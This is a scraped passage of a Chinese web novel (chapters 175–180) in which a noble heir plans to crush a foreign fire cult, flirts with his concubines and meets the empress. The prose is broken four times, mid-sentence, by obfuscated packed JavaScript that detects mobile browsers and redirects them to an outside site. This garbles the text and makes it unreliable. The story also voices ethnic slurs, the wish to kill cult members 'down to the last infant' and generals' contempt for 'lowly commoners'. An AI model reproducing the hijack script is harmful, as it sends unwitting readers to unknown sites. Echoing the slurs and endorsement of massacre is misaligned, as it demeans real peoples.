“拜火教”林臻牙关紧咬,每一个字都仿佛从牙缝中挤出,“他们有多少人,为什么会这么厉害?” “没有几个,袭击我们的,是被他们蛊惑的村民!” “村民?” “对!那些村民看着憨厚,实际上十分凶恶!只要那些波斯2B一吹号,全都悍不畏死地往前冲,手里的家伙也是五花八门,什么扁担、菜刀,转头,有什么拿什么,胳膊腿砍掉了就冲上来用牙咬,就连那些村妇也拿着纳鞋底的锥子,见谁扎谁,毫不留情!老黄、老赵都是先被她们扎瞎后,再被乱刀砍死的!” 林臻瞳孔巨震,心中掀起了惊涛骇浪。 他万万想不到拜火教的洗脑能力竟然这么强悍!竟能让这些质朴的村民变得如此疯狂,连平日里贤淑的村妇也敢对如狼似虎的士兵动手。 不愧是邪教啊。 这一刻林臻杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林臻伸出双手,郑重地接过虎符。 第175章 难不成我还得建个监狱? 这件事情的严重程度要远远大于民间暴动。 那些百姓是被洗脑了而不是因为吃不上饭和朝廷对着干。 他们行动有序思维统一意志如铁一旦披上战甲执戈握矛便可以化作一支战力惊人的铁血军团。 不行。 林臻摇了摇头。 这拜火教必须除掉。 连一个婴儿都不能剩下。 否则这种东西就如星星之火不知道什么时候又会燎原。 林臻对我们自己人是很宽容的可以让乞丐围着要钱可以在人群里被推来推去笑而置之。 但面对外族人他却是铁石心肠手段狠辣不留余地。 想当年某个大学想要申请留学生补助金林臻直接将文件摁下后来不兴说了。 总之就是一句话无论是波斯人还是东瀛倭人、高丽棒子、北地毛子大漂亮等等等等除了自己人他都不会手软。 林臻静坐在书房中夜色如墨 及至晨光破晓侯春轻轻推门而入步伐中带着几分急切。 “世子!”他低唤一声语气中满是恭敬。 “说。”林臻的声音沉稳而有力侯春上前几步双手呈上一封密封严实的信件:“毛梦极有急件送到。” 林臻接过信件仔细检查了火漆确认无误后他缓缓撕开信封取出信纸仔细阅读。 信中毛梦极详述了抵达清河县后的种种见闻。 他说军队中潜藏着众多拜火教的信徒这些人不听命令只暗暗传播教义不信教的士兵会被暗杀信教的将会得到一笔丰厚的钱财和一名美女。 甘陵郡太守彭齐此人野心勃勃暗中以利益为饵拉拢军中的校尉与统领企图夺走军权。 与此同时毛梦极的目光还触及到了民间。 百姓们对于拜火教的信奉简直到了狂热的地步每日清晨的朝拜每月虔诚的供奉他们的心似乎已完全被这外来的信仰所占据对朝廷的忠诚却变得模糊不清。 此情此景让毛梦极深感忧虑。 为了打破这一僵局他苦思冥想终于心生一计。 他决定联合周边几个县的力量将所有军队整合一处形成一个强大的整体。这样一来他既能更好地掌控军队又能借由这股力量逐步引导百姓回归对朝廷的忠诚。 趁此机会毛梦极果断出手将那些背叛的校尉、统领以及深陷邪教的士兵 全部屠杀手段决绝不留余地。并顺势提拔了一批忠诚于王府的士兵为军官截止今天场面才稍有好转。 更令人称奇的是毛梦极还连哄带威胁地让当地大儒去军队里给士兵上课加强他们对摄政王府的忠诚深化他们对国家的认同感与归属感。 信笺的尾声毛梦极的字迹里满载着迫切他恳求林臻尽快想办法否则拜火教将会日渐猖獗成为朝廷的心腹大患。 林臻放下信件幽幽地叹了口气。 这拜火教恐怕已经不是朝廷的心腹大患了而是达摩克利斯之剑。 一旦在与南楚开战的时候这把剑从背后偷袭那大乾将陷入万劫不复之地。 不过直接庆幸的是毛梦极的速度很快已经把甘陵郡的军队全部整合现在就只剩下民间百姓了。 正值此刻二狗匆匆迈入屋内手中紧握着一封密信 二狗摇了摇头眉头紧锁:“姓名尚未查清但可以确信的是甘陵郡、河间郡及周遭数个大县对拜火教皆表现出了异乎寻常的亲近尤其是河间郡一年前竟还公然为其建起了一座庙宇名为袄神楼。” 袄神楼? 那不是在晋地吗? 怎么跑河间去了? 也罢不管为什么在河间只要是关于拜火教的一锅端掉准没错。 林臻对二狗吩咐道:“你速速派人去金吾卫左吾卫右吾卫传令就说虎符在我手里让他们的将军立刻来王府。” “是。”二狗领命而去。 林臻重新将目光放回毛梦极的信件上。 虽说军队已经整合但真正的难点其实是在民间。百姓淳朴对于邪教缺乏应有的警觉与防范再加上愚昧了些对很多没办法解释的事情经常将其神化所以就很容易被这群人趁虚而入。 你看现代人就知道了。现代人有几个有宗教信仰的? 别说什么我信基督教、信佛教、信这个信那个其实大多数人是哪个都不信。 这种信仰不是口头上说“信”就可以的。你给他一百万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789308|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现金或者拿枪逼着他他很快就能改变信仰甚至他说让他信什么他就信什么。 其实这种信仰是没有灵魂的就像无根之木无源之水空洞而缺乏内在的力量。 就和大多数人既不研读 佛经,也不深谙佛理,唯有在困境临头时,才匆匆燃起一炷香,祈求佛祖的庇佑,是一个道理。 光是林臻身边就有太多的朋友,一边信着佛祖,一边做的违背佛祖训诫的事情了。 那,他们是信佛还是不信佛呢? 林臻认为他们不信。他们只是在有事情,需要求神灵帮助的时候,给自己的一个心理安慰,暗示自己,我信祂,所以祂才会灵验。 不然你怎么和神灵解释? 平时我都说不信你,一到有事的时候就信你吗? 神灵肯定也不喜欢这样的信徒,所以说,口头上的相信,其实就是在欺骗自己。 可是大乾这群百姓不一样,他们是有真正的信仰的,甚至愿意为了信仰去抛头颅洒热血,就像曾经的十字军、穆斯林军一样,他们也都是由无知并且愚昧的百姓组成。 随着科技的发展,时代的进步,那种由信念驱动的军队,仅仅存于恐怖分子的极端行径或是雇佣兵的冷酷身影之中,已然从正规国家的历史舞台上悄然谢幕。 对林臻来说,最困难的事情就是如何对付这群已经被蒙骗的百姓。 屠杀是不可能的,上位者再混蛋也就欺负欺负个别百姓,总不可能把自己子民全屠了吧? 不能杀,那就只能抓。 问题是,百姓要比士兵多得多,能抓得过来吗? 就算都抓起来,又哪有那么多牢房啊? 难不成自己还得建个监狱? 嘶. 说不定可以哦。 如果监狱在朝廷手里,那肯定是赔钱的买卖,毕竟要供他们吃喝与生活。 但如果在自己手里,那不就相当于私营了吗? 这可是堪比赌场的摇钱树啊。 反正自己手里有的是钱,即便盖一座类似城池的大型监狱,也完全够用。 届时利用罪犯来进行生产,又好用又廉价。 第176章 透明的,黏黏的 心里琢磨着事情,便感觉不到时间,直到浣碧和晴雯两女端着饭菜进来,打断了林臻的思绪。 浣碧莲步轻移,将托盘放置在桌上,声音温婉如水。 “世子,您从昨日归来便未曾用饭,还是先略进些饮食,填填肚子吧。” 晴雯则活泼许多,她蹦蹦跳跳着靠过来,一双纤手直接从背后环上了林臻的脖颈,那柔软的身子与前胸紧贴着后脑勺,仿佛融为一体,带着些许撒娇的意味笑道。 “就是呀!万一饿小了妾身可不依哦!” 阵阵奶香伴随着呼吸喷洒在林臻脸上,刺激着每一个毛孔。 林臻望着眼前这两位佳人,心中涌起一股暖流。 他笑着拍了拍晴雯的手背,眼中满是宠溺与纵容:“好,我吃。”人是铁饭是钢,一顿不吃饿得慌。林臻才不会因为烦心事就没胃口吃饭呢,那是对自己的虐待。 于是,他缓缓起身,踱步至一旁那张雅致的小圆桌旁落座。 恰在此时,门扉轻启,月妩和张俪手挽着手,有说有笑地走了进来。 嘿,好嘛。 现在林臻算是明白什么叫莺莺燕燕,环肥燕瘦了。 张俪一袭绛紫色长裙曳地,勾勒出曼妙身姿,举手投足间尽显妩媚与高贵;月妩则身着洁白如雪的长袍,宛如月宫仙子,圣洁而不可方物。 晴雯则是一身淡绿色纱裙,轻盈飘逸,配以白色内搭,更显其古灵精怪,俏皮可爱;浣碧是一身粉嫩绸缎衣裳,素雅中透着几分娇小玲珑,惹人怜爱。 四女如鲜花般簇拥在桌边,林臻拿起筷子,习惯性地先喝了一口温润的小米粥,问道:“你们俩怎么也来了?” 张俪嘴角勾勒出一抹倾城之笑,语态中带着几分俏皮:“妾身为您赚了那么多钱,蹭顿饭总不过分吧?” 言毕,绛紫色裙摆轻扬,宛如一朵盛开的紫罗兰,优雅落座。 月妩见状,看了看林臻,发现他并没有反对,便也跟着坐下。 林臻转而望向一旁侍立的浣碧:“碧儿,去添碗筷。” “是。”浣碧倒不觉得有什么,领命出去了。 唯独晴雯,樱唇微翘,眼神中带着几分不甘与忿然,狠狠地剜了张俪与月妩一眼,心中颇为不满。 大家都是女人,凭什么你俩能跟世子坐在一起吃饭啊? 月妩只要想起昨夜发生的事情便心花怒放,脸颊绯红,她笑道:“夫君有所不知,早上的时候张俪姐姐来找妾身,说要去东市逛逛街,后来妾身提及夫君彻夜 未眠,她便执意要来探望一二。” 这时浣碧拿来碗筷,放在她们面前。 知道浣碧在林臻心中的地位,所以两女也不敢托大,连忙起身,语态温婉地道谢:“谢浣碧姐姐。” 浣碧被这突如其来的“姐姐”二字唤得脸颊微红,不好意思地抿了抿嘴,谦逊地垂首道:“奴婢只是个丫鬟,两位姐姐真是折煞奴婢了。” 张俪闻言打趣道:“你若是丫鬟,那我们都不成了乞丐啦?咯咯咯咯。” 月妩亦是笑靥如花,附和着张俪的话:“正是呢,在这府宅之中,谁先进门,谁自然就是姐姐,浣碧姐姐就别谦虚啦~” “哎呀,世子~”浣碧轻咬着下唇,细声细气地拽了拽林臻的衣袖,脸上染上了两朵娇艳的红云,娇嗔道:“您瞧瞧嘛,这两位姐姐真是的,就知道拿奴婢寻开心!” 晴雯双手叉腰,眉头紧锁,一副恨铁不成钢的模样望着浣碧:“你这丫头,怎么就学不会硬气点呢!人家不过调笑你两句,你就跟霜打的茄子似的,只知道往世子怀里躲!” 言罢,她气呼呼地解开领口的几颗扣子,露出胸前好大一片雪白。 紧接着,她抄起林臻面前那碗温热的小米粥,也不顾粥还冒着丝丝热气,用勺子舀了几勺,故意倒在自己胸前。 最后,她抱着林臻的脑袋说道:“世子,您不是喜欢喝粥么?别理她们俩,到奴婢这里来喝。” 浣碧:. 月妩:. 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789309|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俪:. 林臻:(???) 林臻看着那雪白的肌肤上有着颗粒分明的小米粒,以及透明的.黏黏的.米汤 嘶.妈的,你好会哦~ 林臻的目光紧紧锁住小米粒,喉头滚动,终究还是克制住了那份冲动。 他缓缓自晴雯的怀抱中挣脱,蓦地抬起手,在她那柔软细腻的屁股蛋上轻轻一捏,带着几分宠溺道。 “别闹了,你要是没吃饭也坐下吃。” 晴雯把领口收起来,嘴角勾起一抹狡黠的笑意,得意洋洋地看了看三女。 那表情仿佛在说:呵,小样儿,跟我斗。 这下两女都没了脾气,专心低头吃饭。 晴雯对着林臻微微福身,有些阴阳怪气地道:“谢世子宴请,妾身要回房间里换个肚兜,然后去为您赚钱了,不像某些人,啥都不干就知道蹭饭。” 林臻轻轻摇头,语气中满是无奈:“这丫头” 话音未落,晴雯已如一阵风般掠过书房门槛。 月妩很是尴尬。 没错,没错,晴雯那番话说的就是她。 张俪是林家的钱袋子,又是首席智囊,小晴雯自然是不敢轻易招惹的;浣碧是贴身人,说一句林臻都心疼的要死,所以她只敢欺负欺负刚来的月妩。 如此一来,月妩的用餐兴致自是大打折扣,她缓缓放下手中的筷子,神色间难掩失落。 这时,张俪温柔一笑,轻巧地用筷子夹起一块晶莹剔透的脆萝卜,放在她碗中,说道:“晴雯这妮子就是嘴硬心软,你别往心里去,该吃饭吃饭。” 林臻也点点头:“没错,但晴雯现在真是越来越过分了,晚上非好好教训教训她不可。” 话音未落,谁知道晴雯居然没走,站在门口对着林臻喊道:“哼!谁教训谁还不一定呢,我还不知道你?翻来覆去就那几招!!” “嘿,我这暴脾气!” “略略略略!”晴雯调皮地吐了吐舌头,留下一串银铃般的笑声,便欢快地溜之大吉。 第177章 偷人强项,专业对口 这时,大管家林安缓缓步入屋内,目光在晴雯远去的背影上停留片刻,眉宇间闪过一丝不悦。他转而步入厅堂,对林臻作揖:“世子。” “嗯,你怎么也来了?”林臻轻声问道。 “回世子,老爷说今日他将远行一趟,故而命老奴前来告知世子,关于拜火教之事,您大可放手去做,天塌了有老爷顶着呢。” 好家伙,真是个便宜爷爷啊。 早有这话,咱家不早成皇族了? “行,知道了。”林臻随意地应了一声,目光却捕捉到林安几次欲言又止。 最终还是见他缓缓弯下腰,声音中带着一丝犹豫:“世子,老奴有句话不知当讲不当讲。” “你什么时候也婆婆妈妈的?说。” “这晴雯未免也太放肆了些,需不需要老奴” 说到这里,林安的眼中闪过一丝狠厉,而林臻则以更加深沉且具穿透性的眼神回望,那眼神仿佛能洞察人心,让林安不由自主地矮下了身子,心头泛起一阵寒意。 “不用,我的人我自己会处理,以后这种话休得再提。” “是,那老奴退下了。”林安鬓角直冒冷汗,转身离开书房。 林臻盯着他的背影,目光如炬,思绪万千,不知道在想些什么。 张俪看林臻脸色不太好,便轻声细语地劝解道:“世子莫要生气,没有规矩不成方圆,大家族里更是如此,晴雯确实太放肆了些,您该好好管管了。” 月妩亦在一旁温婉相劝,她轻启朱唇,语带柔情。 “或许,夫君可以考虑为晴雯解除奴籍,将她纳为小妾,养在府中。这样一来,既保全了她的颜面,又能给大管家一个台阶下。” 然而,林臻只是轻轻摇头,那双深邃的眼眸仿佛穿透了门扉,直视着远方,缓缓说道。 “不是这件事情。我突然想到,刘翰阳那天来找过我,结果当天晚上他就跑了,这么短的时间,他的宅子和祖产都怎么处理的?” 林臻收回目光,看向张俪,那眼神中有着说不出的疑惑与惊愕:“或者说谁帮他处理的?” 张俪也陷入沉思。 这时,月妩轻声细语地插话进来:“昨日妾身路过刘府,瞥见府门外张贴着出兑的告示,有个小厮在门口睡觉。” “小厮.”林臻喃喃自语,心中暗自摇头。 仅凭一名小厮,是不可能操控这等庞大的产业转让事宜的,其背后,必有他人。 不知道为什么,林臻总是会想到顾南山,那个心思深 沉、阴险歹毒的家伙。 只是没听说这老登有什么变故啊,他不是还在顾府当大管家吗? 林臻想了想,心说,罢了。 还是先下手为强的好,对于顾南山这种人必须得防患于未然。 于是他对门外大声喊道:“猴子!” 侯春已匆匆步入屋内,躬身行礼:“世子。” “带人把刘翰阳家门口的小厮抓起来,打一顿,问问他到底是替谁看门的。记住了,一点要小心点,千万不要被人发现!以免打草惊蛇。” 偷人嘛,这侯春强项,专业对口。 就见他笃定地说道:“世子放心,属下这就去办。” 侯春去了,林臻也没有了吃饭的心情,他缓缓放下手中的筷子,任由一旁细心的浣碧给自己擦嘴,然后喝上一口清茶漱口。 起初没有宰了顾南山,是因为这是个有反骨的人。他的存在就好似一把双刃剑,如果使用得当,会给顾家带来很多麻烦。 林臻是乐于看好戏的,但仔细想想,一直到现在顾南山都没有对顾家发难,这份异常的平静反而令他心生疑虑。 搞不好这老登就会背后密谋什么。 如果真是顾南山在帮刘翰阳卖房子,那可就有意思了。 这就说明,顾南山和拜火教的有联系。 饭后张俪和月妩就走了,她们一个需要去赌场,一个需要重新将餐馆开业。 林臻还是坐在书房里没有动,他在等人。 不多时,二狗轻轻推开房门,引领着三位体格魁梧的中年男子步入室内。 林臻手持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789310|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎符,缓缓自书桌后踱步而出,那三人见状,立即单膝跪地。 “征西大将军周泽,拜见世子。” “征东大将军郑三山,拜见世子。” “怀化大将军何明远,拜见世子。” 林臻微笑着伸手虚扶:“三位将军快快请起,这边坐。” “谢世子。” 他们都是林震仙麾下忠心耿耿的大将军,因着对主公的深厚敬仰,对林臻亦是十分恭敬,尤其是此刻林臻手握虎符,他们行跪拜之礼,也在情理之中。 林臻引领着这三位将军步入书房后堂,此处陈设着一幅气势恢宏的乾国疆域图,四周错落有致地摆放着数张桌椅,显得既庄重又不失雅致。三人依序落座,而林臻则挺立于前方,声音深沉的道。 “今天本世子请三位将军来,是有大事商量。” 周泽闻言,豁然起身。 “世子有令,末将赴汤蹈火,在所不辞。” 周泽此人今年三十有五,只娶过一位妻子,后来妻子不幸因病逝世,这才有了续弦的念头。而原定的新娘本是温婉贤淑的刘玉莹,结果因为林震仙一句话,周泽就果断退婚了。 林臻微微颔首,缓缓道来:“嗯,事情是这样的.” 林臻把曹雄和最近发生的事情对在座的三人和盘托出。 郑三山听后,气得一拳砸在椅子扶手上,震得木屑纷飞。 “这群该死的邪教徒,竟敢蛊惑我大乾百姓,确实该死!” 周泽说道:“世子,您就下令吧,末将这就带兵清剿了他们!” 何明远与这两位相比,更像是个儒将,只见他捏了捏胡子对众人说道:“两位兄弟莫急,依老夫看,此事可没那么容易办。” 林臻也认为周泽和郑三山有些鲁莽,他对何明远说道:“还请何将军示下。” “世子,您刚才说受蛊惑的是百姓,如此便不好办了。我们不可能把所有百姓都抓起来砍头,况且一旦我们贸然行动围捕百姓的话,肯定会打草惊蛇。如此一来,不仅抓不到拜火教那些头目,反而是便宜了他们。” 第178章 藏在龙袍里的双腿...... 这也是林臻最头疼的地方。 那群波斯人隐藏在百姓中,尤其是民间,一个村子只有一两个波斯人其余全都是普通村民。 一旦朝廷开始大规模抓捕拜火教徒,这群波斯人就会望风而逃,甚至还会把百姓推出来当挡箭牌。到最后不仅抓不到主谋,还会让百姓成为他们的替罪羊,等风声一过,继续跳出来。 林臻脸色阴沉,他背对着所有人,目光死死盯着地图。 而他所看的地方,正是最复杂,最混乱,也是最棘手的河间郡。 “何将军说得对。要动,就必定以迅雷不及掩耳之势将他们一网打尽,绝不能给他们任何反应的机会。 何明远那双细长的三角眼轻轻眯成一道缝,其内有道道精光迸射出来。 “我们需要先知道他们的老巢在哪,然后悄无声息地调集重兵,布下天罗地网,监视他们的一举一动,查清究竟有哪些朝中官员与他们暗中勾结。同时,还需要派一批可靠机灵的兄弟,乔装打扮成乞丐或是流离失所的百姓,混入民间,揪出那个在民间煽风点火、蛊惑人心的幕后黑手,并持续监视其动向。等时机成熟,我们便可以约定时间,同时对多地方的邪教徒发起总攻,让他们没有任何反应的机会。 林臻很赞同这个办法,可以说,这也是目前最简单最高效的办法了,他点点头,霸气凛然的说道:“如果处理得当,我们就可以一战定乾坤,从此大乾禁神! “没错!何明远附和道。 说到这,林臻再次眉头微蹙,忧虑地道:“但若是百姓群起反抗怎么办? 何明远闻言,眼中的杀意更甚,嗜血冷笑道。 “呵,世子多虑了,那群不老实的贱民,哪年我们不得镇压几次啊? 言罢,周泽与郑三山也爽朗大笑。 “就是啊,哈哈哈哈,国家政策岂容他们反对?谁反对,谁就死! “区区几万邪教徒而已,怎能挡得住我金吾卫大军? 林臻目睹几位老将神色坚毅,信心满满,心中不由也燃起一股决绝之火,暗自咬牙,下定决心。 “好,就这么办!我这就去宫里向陛下请旨,以免遭人诟病。 周泽闻言,站起来说道:“那末将这就去调兵,早日抓住这些邪教徒,就能早日还大乾朗朗乾坤。 “周兄引领大军,我负责派精明强干的将士去民间。 林臻对着三位将领深深一揖,言辞恳切:“拜托各位了。 另一边,皇宫深处,议 政殿内。 慕容嫣手执密报,指尖因过度用力而轻轻颤抖,脸色苍白如纸,眼中满是难以置信。 她万万想不到,这股隐秘而强大的宗教势力,竟已悄然渗透至民间,而且增长的速度犹如野火燎原,光是南疆几个重镇就有近十万邪教徒,他们日间辛勤劳作,夜幕之下则是对着那抹充满邪恶气息的圣火顶礼膜拜。 这是在动摇大乾的根基啊! 其心可诛! 如果光是这样也就罢了,至少还有军队能镇压。 然而,令慕容嫣心寒彻骨的是,那次针对刘翰阳的围捕行动,百骑司出动了百余精锐,可最后回来的不到十人!就连龙骧营三百精骑,也被拜火教杀得片甲不留。 这太恐怖了。 按照这个发展速度,用不了两年,大乾就全都是拜火教的信徒,而军队根本镇压不过来。 说不定他们还会趁此机会将大乾推翻,从此成为神权国家。 自慕容嫣登基以来,她还是第一次面对如此惊心动魄的危机。 这可比林震仙手握重兵,威慑朝廷恐怖多了! 她放下手里的密报,几乎是下意识地对身边慕容无舌吩咐道:“快,宣林臻进宫。 “遵旨。慕容无舌正要下去,就见另有太监走了进来。“启禀陛下,太子少保林臻在殿外求见。 慕容嫣急道:“快宣! “遵旨,宣太子少保林臻上殿觐见! 林臻的身影匆匆掠过殿门,步伐中带着几分急切。慕容嫣见状,不由自主地站起身,那双眸子里满是焦虑与期盼,直直地望向林臻。 “林臻,你. “嘘!林臻赶紧做了个噤声的手势,眉宇间透着股 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议政殿作为皇宫重地,巍然矗立,可距离它不远处就是曾经美轮美奂的华清池。 于是慕容嫣与林臻一前一后,漫步在华清池的周围。 这池水早已失去了往昔的澄澈,泛着淡淡的臭气,池中的假山与奇石也被岁月侵蚀,长满了青苔,平添几分荒凉之感。 慕容嫣这个大穷鬼也不说自掏腰包清理清理。 “嬛嬛。”慕容嫣轻声吩咐道,目光温柔地看向她,“你去周围盯着点。” “是。” 嬛嬛停下脚步,转过身又狠狠剜了林臻一眼。 估计是因为林臻已经彻底将顾北辰打入尘埃,所以她才会这么痛恨他吧。 又是一个被作者设计的可怜女子。 不过就在林臻没注意到的地方,嬛嬛轻轻抬手,召来一名小太监,朱唇轻启,低语了几句,那太监听后,神色一凛,匆匆领命而去,留下一抹神秘的背影。 第179章 慕容嫣暴露了! 这时慕容嫣停下身子,语气急切说道:“林臻,拜火教已经在南边生根发芽了,势力盘根错节,教徒众多,实力强悍,还与官员勾结,这到底如何是好? “陛下,臣这次就是为了这件事情来的。王爷已将大乾六卫中的三卫指挥权托付于臣,臣已经在着手查办了。 慕容嫣闻此,心中的大石似乎落了地,轻吐一口气:“呼,如此便好。 话音未落,她不经意间忘却了自己刻意维持的男子气概,向林臻抛去一个风情万种的白眼,那瞬间流露的女儿情态,让周遭的空气都似乎柔和了几分。 “你都已经开始着手了,干嘛还神秘兮兮的不让说? 林臻脸色凝重地道:“陛下,皇宫里也绝不是铁板一块,万一有拜火教的人混在太监、宫女里,后果不堪设想。再说,就算没有拜火教的人,也肯定有顾家的人。为了大乾百姓,臣不得不谨慎行事。 “顾家?慕容嫣的眉头紧锁,语气中透露出一丝难以置信,“你是说,顾北辰竟敢在朕的皇宫中安插了探子? 林臻的面色愈发严峻:“臣严重怀疑顾家与拜火教有联系,但没有证据。 慕容嫣玉手紧握成拳,指尖因用力而微微泛白,昔日的信任此刻化作了满腔的愤懑。 “哼!亏朕以前还如此倚重他们! 言罢,她怒气稍敛,粉拳缓缓松开,转而向林臻伸出一只洁白如玉的手掌,语不惊人死不休地说道:“将一卫的兵权给朕。 林臻闻言,眼底闪过一丝错愕,随即无奈地苦笑道:“呵呵呵,陛下,您知道这是不可能的。 “为什么!你林家还想把朕架空到什么时候? “陛下此言差矣!兵权代表的不仅仅是实力,它还关乎着国家安危,社稷稳定,一旦轻易变动,恐怕会掀起难以预料的波澜。再者,兵权在王爷手里的作用,绝对要比在您手里更大,更不用说林家是完全忠诚大乾的,所以兵权在王爷手里和在您手里,本质上没有什么区别。 “哼,就知道你会这么说。 可能慕容嫣也没真心想要,就是试探试探而已,于是她又收回手,转过身,好像不愿意让林臻看到自己温柔的目光那般。 “罢了。有你在,朕很放心。 林臻愣愣地盯着她那妙曼的背影,也不知道该回答什么。 难道要说臣很荣幸? 算了吧,这种片汤话对于女人来说,没有任何意义。 “以后你每天都要进宫。 林臻惊讶地失口说道:“啊?为什么? 这时,慕容嫣突然又转身,贝齿轻咬,目光流转,居然用了女子的声音说。 “这是你的职责! 言罢,她气鼓鼓地离开华清池。 林臻摸了摸后脑勺,觉得有些莫名其妙。 有病吧? 我又不是你男朋友,没事乱发什么脾气。 嘶.男朋友!? 林臻顿时浑身一机灵。 这娘们不会真看上我了吧? 坏了坏了,这可不是什么好消息,以慕容嫣的性子一旦真喜欢上自己,那自己那些小妾怎么办? 公主都不许驸马纳妾呢,更何况是皇帝? 算了,不管了,如果慕容嫣敢强迫,自己就.就.就从了她吧.但是得说好,小妾不能丢,也不能阻止自己纳妾,否则免谈! 慕容嫣走了,也没说让林臻退下,他当然不会自找没趣的再去见她,于是缓缓往宫外而去。 走到半路,他忽然想起,这里应该还有一位故人。 清秋公主,楚惜灵。 当时自己立下赌注让她输了以后就留在皇宫,作为大乾的人质。 在原书中,顾北辰在皇宫里把她给强上了,然后又是甜言蜜语,又是出谋划策的,最终楚惜灵得了斯德哥尔摩综合征,爱上了顾北辰,从而连国家都不管了。 唉,果然,爽文就是爽文,毫无逻辑可言。 林臻劝大家以后还是少看为妙。 不过,以后可能也看不到了。 因为这个时代的才子都在忙着读圣贤书,哪有功夫琢磨霸道总裁会不会爱上五十岁的保洁阿姨啊? 自己绝不能按照顾北辰的思路走,因为原书中,人家是主角,有各种光环,连强睡女帝都无所谓,自己可不行。 眼见身前不远处有一个太监带着五个宫女走过去,林臻大喊:“站住! 这一声大 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来到衡芜院,发现这里的景色很别致,几棵青松在门前屹立,大门也是新刷的朱红,院子不大,一应俱全,还有站岗的御林军负责看守。 见林臻过来,士兵抱拳行礼:“见过世子爷。” “嗯,开门。” “世子,陛下有旨,无令,任何人不得见清秋公主。” “什么?” 白跑一趟? 那必不可能啊! 林臻脸色瞬间就变了,口吻中带着不容置疑的霸气:“开门!出了什么事情,我来承担。” “这”士兵为难地看了看林臻。发现这位爷瞪着眼睛要吃人,最终咬咬牙,还是把门打开。 “吱呀。” 一声悠长的声响,仿佛穿越了时间的缝隙,将门外的喧嚣与门内的宁静截然分隔。 门后,是一个布置得颇为雅致的院子,一套古朴的桌椅静静地置于中央,一位身着洁白素衣的女子,正悠然自得地坐在那里,双眸轻阖,仿佛正沉醉于微风轻拂的温柔触感之中,与世无争,宁静而美好。 第180章 智斗清秋公主楚惜灵 仿佛一缕微风拂过,吹散了树梢,也吹动了门扉轻轻摇曳,楚惜灵自那雕花靠椅上缓缓抬头,眸光柔和而细腻地落在林臻的身上。 可能是没想到自己这间小院子还会有来客,更未曾想过,这意外的访客竟是林臻。于是,一抹不加雕饰的笑意在她唇边自然漾开,如同溪水潺潺。 她轻轻颔首。 “原来是林世子,稀客稀客。 “清秋公主,一向可好?林臻同样以一抹和煦的笑容回应,步伐轻盈地踏入了这方充满雅致气息的小院。 只是以一种恰到好处的随性,轻轻吩咐道:“香云,上茶。 贴身丫鬟香云从厢房的阴影里走出来,手里端着托盘,上面是一只温润如玉的茶盏。 林臻坐在楚惜灵对面的椅子上,接过茶盏闻了闻,笑道:“公主竟然也喝上茶叶渣子了? “呵呵呵呵。楚惜灵的笑声如银铃般清脆悦耳,带着几分戏谑,“在你们乾国的皇宫里能喝上茶叶渣子,也算是殊荣了。 “哦?林臻闻言,缓缓放下茶盏,玩味地道:“你的意思是我大乾很穷? 楚惜灵反问道:“难道很富吗? “若论整体国力,与你们南楚比起来大乾确实不够富裕,但也总不至于连茶叶都喝不起。 “你既然知道是你们皇帝故意苛待,还装模作样地问我做什么? 楚惜灵举止间流露着超凡脱俗的淡然,丝毫无公主惯有的娇纵之气。 以茶为例,昔日身为南楚公主的她,自然能品尝到国内盛产的上等茗茶,所以说她喝的茶叶肯定都是极品中的极品。 但如今竟然下口喝茶叶沫子,并且并没有丝毫不悦,这份豁达的心境,实属罕见。 不愧是能引领楚国使团的人,颇有大将之风。 不过林臻今天来,不是和她品茗的,更不是和他耍嘴皮子的。 虽然两人算不上敌人,但也绝对称不上朋友。 他今天来,只是想确定一件事情。 林臻随意地翘起二郎腿,目光直指楚惜灵。 楚惜灵见他这个动作,颇有些好笑地说道:“贵国的礼仪风貌,还真是别具一格。 “清秋公主,你知道我今天不是来和你闲聊的。 “没错。楚惜灵微微颔首。 这是她想到了的,但是她也有想不到的。 “但我也确实猜不到你的目的,所以还是请你开门见山吧。毕竟你们乾国这么乱,若是无端传出些风言风语, 恐怕对彼此的名声都不太好,呵呵呵呵。 楚惜灵笑得有几分狐媚。 但这绝不是在诱惑林臻,而是在讥讽他,嘲弄他。 反观林臻则没有那些心理,而且他突然发现楚惜灵笑起来时,红唇的左边有一颗小虎牙,很俏皮,很富有美感,为她平添了几分不加雕饰的精致与魅力。 